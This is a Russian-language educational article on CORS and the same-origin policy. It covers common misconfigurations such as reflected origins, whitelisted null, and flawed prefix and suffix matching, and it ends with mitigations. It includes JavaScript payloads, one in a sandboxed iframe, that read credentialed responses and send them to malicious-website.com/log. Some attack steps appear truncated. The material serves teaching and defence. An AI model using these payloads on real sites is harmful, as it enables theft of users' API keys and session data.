Что такое CORS (Cross-origin resource sharing)

Источник: «Cross-origin resource sharing (CORS)»
В этой статье мы объясним что такое CORS, опишем некоторые распространённые примеры атак основанных на CORS, и обсудим, как от них защититься.

Что такое CORS (Cross-origin resource sharing)

Совместное использование ресурсов между источниками CORS — это механизм браузера, обеспечивающий контролируемый доступ к ресурсам, расположенным за пределами данного домена. Он расширяет и добавляет гибкости политике единого источника (SOP). Однако это также создаёт потенциал для междоменных атак, если политика CORS веб-сайта плохо настроена и реализована. CORS не является защитой от атак из разных источников, такие как подделка межсайтовых запросов (CSRF)

атака на CORS

Политика единого источника

Политика единого источника — ограничительная спецификация для разных источников, ограничивающая возможность веб-сайта взаимодействовать с ресурсами за пределами исходного домена. Политика единого источника была определена много лет назад в ответ на потенциально вредоносные междоменные взаимодействия, например, когда один веб-сайт крадёт личные данные с другого. Обычно это позволяет домену отправлять запросы к другим доменам, но не получать доступ к ответам.

Узнать больше о Политике единого источника можно в статье SOP: Что такое Same-origin policy

Ослабление политики единого источника

Политика единого источника очень сильно ограничивает, и поэтому были разработаны различные подходы для обхода ограничений. Многие веб-сайты взаимодействуют с поддоменами или сторонними сайтами таким образом, что требуется полный доступ из разных источников. Контролируемое ослабление политики единого источника возможно с помощью совместного использования ресурсов между источниками (CORS).

Протокол совместного использования ресурсов между источниками использует набор HTTP заголовков определяющих доверенные веб-источники и связанные с ними свойства, например, разрешён ли доступ с проверкой подлинности. Они объединяются в обмене заголовками между браузером и веб-сайтом из другого источника, к которому он пытается получить доступ.

Уязвимости возникающие из-за проблем с конфигурацией CORS

Многие современные веб-сайты используют CORS для разрешения доступа из поддоменов и доверенных третьих лиц. Их реализация CORS может содержать ошибки или быть чрезмерно мягкой, чтобы гарантировать, что всё работает, и это может привести к уязвимостям, которые могут использовать злоумышленники.

Генерируемый сервером заголовок ACAO из указанного клиентом заголовка Origin

Некоторым приложениям необходимо предоставлять доступ к ряду других доменов. Ведение списка разрешённых доменов требует постоянных усилий, и любые ошибки могут нарушить функциональность. Таким образом, некоторые приложения выбирают простой путь, эффективно разрешая доступ из любого другого домена.

Один из способов сделать это — прочитать заголовок Origin из запросов и включить заголовок ответа, указывающий, что запрашивающий источник разрешён. Например, рассмотрим приложение, которое получает следующий запрос:

GET /sensitive-victim-data HTTP/1.1
Host: vulnerable-website.com
Origin: https://malicious-website.com
Cookie: sessionid=...

Затем оно отвечает:

HTTP/1.1 200 OK
Access-Control-Allow-Origin: https://malicious-website.com
Access-Control-Allow-Credentials: true
...

Эти заголовки указывают, что доступ разрешён из запрашивающего домена (malicious-website.com) и что запросы между источниками могут включать файлы cookie (Access-Control-Allow-Credentials: true) и поэтому будут обрабатываться в сеансе.

Поскольку приложение отображает произвольные источники в заголовке Access-Control-Allow-Origin, это означает, что абсолютно любой домен может получить доступ к ресурсам из уязвимого домена. Если ответ содержит какую-либо конфиденциальную информацию, такую как API ключ или CSRF токен, вы можете получить её, разместив на своём веб-сайте следующий скрипт:

var req = new XMLHttpRequest();
req.onload = reqListener;
req.open('get','https://vulnerable-website.com/sensitive-victim-data',true);
req.withCredentials = true;
req.send();

function reqListener() {
location='//malicious-website.com/log?key='+this.responseText;
};

Ошибка парсинга заголовков Origin

Некоторые приложения, поддерживающие доступ из нескольких источников, делают это с помощью белого списка разрешённых источников. При получении запроса CORS указанный источник сравнивается с белым списком. Если источник состоит в белом списке, он отражается в заголовке Access-Control-Allow-Origin, чтобы доступ был предоставлен. Например, приложение получает обычный запрос вида:

GET /data HTTP/1.1
Host: normal-website.com
...
Origin: https://innocent-website.com

Приложение сверяет предоставленный источник со своим списком разрешённых источников и, если он есть в списке, отражает источник следующим образом:

HTTP/1.1 200 OK
...
Access-Control-Allow-Origin: https://innocent-website.com

Ошибки часто возникают при реализации белых списков CORS origin. Некоторые организации решают разрешить доступ со всех своих поддоменов (включая будущие поддомены, которых ещё не существует). А некоторые приложения разрешают доступ из различных доменов других организаций, включая поддомены. Эти правила часто реализуются путём сопоставления префиксов или суффиксов URL, или с использованием регулярных выражений. Любые ошибки в реализации могут привести к представлению доступа е непредусмотренным внешним доменам.

Например, предположим, что приложение предоставляет доступ ко всем доменам оканчивающимся на:

normal-website.com

Злоумышленник может получить доступ, зарегистрировав домен:

hackersnormal-website.com

В качестве альтернативы предположим, что приложение предоставляет доступ ко всем доменам, начинающимся с:

normal-website.com

Злоумышленник может получить доступ, используя домен:

normal-website.com.evil-user.net

Нулевое исходное значение из белого списка

Спецификация заголовка Origin поддерживает значение null. Браузеры могут отправлять значение null в заголовке Origin в различных необычных ситуациях:

Некоторые приложения могут внести в белы список null для поддержки локальной разработки приложения. Предположим приложение получает следующий запрос между источниками:

GET /sensitive-victim-data
Host: vulnerable-website.com
Origin: null

И сервер отвечает:

HTTP/1.1 200 OK
Access-Control-Allow-Origin: null
Access-Control-Allow-Credentials: true

В этой ситуации злоумышленник может использовать различные приёмы для генерации запросов между источников, содержащие null в заголовке Origin. Это удовлетворит белый список, что приведёт к междоменному доступу. Например, это можно сделать с помощью iframe запроса между источниками из песочницы:

<iframe sandbox="allow-scripts allow-top-navigation allow-forms" src="data:text/html,<script>
var req = new XMLHttpRequest();
req.onload = reqListener;
req.open('get','vulnerable-website.com/sensitive-victim-data',true);
req.withCredentials = true;
req.send();

function reqListener() {
location='malicious-website.com/log?key='+this.responseText;
};
</script>"
>
</iframe>

Использование XSS через доверительные отношения CORS

Даже правильно настроенный CORS устанавливает доверительные отношения между двумя источниками. Если веб-сайт доверяет источнику, уязвимому для межсайтового скриптинга (XSS), злоумышленник может использовать XSS для внедрения некоторого JavaScript кода, использующего CORS для получения конфиденциальной информации с сайта, который доверяет уязвимому приложению.

Учитывая следующий запрос:

GET /api/requestApiKey HTTP/1.1
Host: vulnerable-website.com
Origin: https://subdomain.vulnerable-website.com
Cookie: sessionid=...

Если сервер отвечает:

HTTP/1.1 200 OK
Access-Control-Allow-Origin: https://subdomain.vulnerable-website.com
Access-Control-Allow-Credentials: true

Затем злоумышленник, обнаруживший XSS уязвимость на subdomain.vulnerable-website.com, может использовать её для получения API ключа, используя такой адрес:

https://subdomain.vulnerable-website.com/?xss=

Взлом TLS с плохо настроенным CORS

Предположим, что приложение, строго использующее HTTPS, также вносит в белый список доверенный поддомен, использующий обычный HTTP. Например, когда приложение получает следующий запрос:

GET /api/requestApiKey HTTP/1.1
Host: vulnerable-website.com
Origin: http://trusted-subdomain.vulnerable-website.com
Cookie: sessionid=...

Приложение отвечает:

HTTP/1.1 200 OK
Access-Control-Allow-Origin: http://trusted-subdomain.vulnerable-website.com
Access-Control-Allow-Credentials: true

В этой ситуации злоумышленник, который может перехватить трафик пользователя-жертвы, может использовать конфигурацию CORS, для компрометации взаимодействия жертвы с приложением. Эта атака включает следующие шаги:

http://trusted-subdomain.vulnerable-website.com
https://vulnerable-website.com
http://trusted-subdomain.vulnerable-website.com

Эта атака эффективна, даже если уязвимый веб-сайт использует HTTPS, не имеет конечной точки HTTP и все файлы cookie помечены как безопасные.

Внутренняя сеть и CORS без учётных данных

Большинство атак CORS полагаются на наличие заголовка ответа:

Access-Control-Allow-Credentials: true

Без этого заголовка браузер пользователя-жертвы откажется отправлять файлы cookie, а это означает, что злоумышленник получит доступ только к не прошедшему проверку подлинности контенту, к которому он мог бы так же легко получить доступ, перейдя непосредственно на целевой веб-сайт.

Однако существует одна распространённая ситуация, когда злоумышленник может получить доступ к веб-сайту напрямую: когда он является частью внутренней сети организации и находится в пространстве частных IP-адресов. Внутренние веб-сайты часто имеют более низки стандарт безопасности, чем внешние, что позволяет злоумышленникам находить уязвимости и получать дополнительный доступ. Например, запрос между источниками в частной сети может выглядеть следующим образом:

GET /reader?url=doc1.pdf
Host: intranet.normal-website.com
Origin: https://normal-website.com

И сервер отвечает:

HTTP/1.1 200 OK
Access-Control-Allow-Origin: *

Сервер приложений доверяет запросом ресурсов из любого источника без учёта данных. Если пользователь в пространстве частных IP-адресов получают доступ к общедоступному Интернету, то атака на основе CORS может быть выполнена с внешнего сайта, который использует браузер жертвы в качестве прокси для доступа к ресурсам внутренней сети.

Как предотвратить атаки на основе CORS

Уязвимости CORS возникают в первую очередь из-за неправильных конфигураций. Таким образом, предотвращения является проблемой конфигурации. В следующих разделах описаны некоторые эффективные средства защиты от атак CORS.

Правильная настройка запросов между источниками

Если веб-ресурс содержит конфиденциальную информацию, источник должен быть правильно указан в заголовке Access-Control-Allow-Origin.

Разрешать только доверенные сайты

Это может показаться очевидным, но источниками, указанными в заголовке Access-Control-Allow-Origin, должны быть только доверенные сайты. В частности, динамическое отражение источников из запросов между источниками без проверки легко эксплуатируется, и его следует избегать.

Избегайте внесения null в белый список

Избегайте использования заголовка Access-Control-Allow-Origin: null. Вызовы ресурсов между источниками из внутренних документов и запросы в изолированной программной среде могут указывать нулевой источник. Заголовки CORS должны быть правильно определены в отношении доверенных источников для частных и общедоступных серверов.

Избегайте подстановочных знаков во внутренних сетях

Избегайте использования подстановочных знаков во внутренних сетях. Доверия только к конфигурации сети для защиты внутренних ресурсов недостаточно, когда внутренние браузеры могут получить доступ к ненадёжным внешним доменам.

CORS не заменяет политики безопасности на стороне сервера

CORS определяет поведение браузера и никогда не заменяет защиту конфиденциальных данных на стороне сервера — злоумышленник может напрямую подделать запрос из любого доверенного источника. Поэтому веб-серверы должны продолжать применять средства защиты конфиденциальных данных, такие как проверка подлинности и управление сеансами, в дополнение к правильно настроенному CORS.

Дополнительные материалы

Предыдущая Статья

CSP: Политика безопасности контента

Следующая Статья

JavaScript: Что такое функции обратного вызова/Callback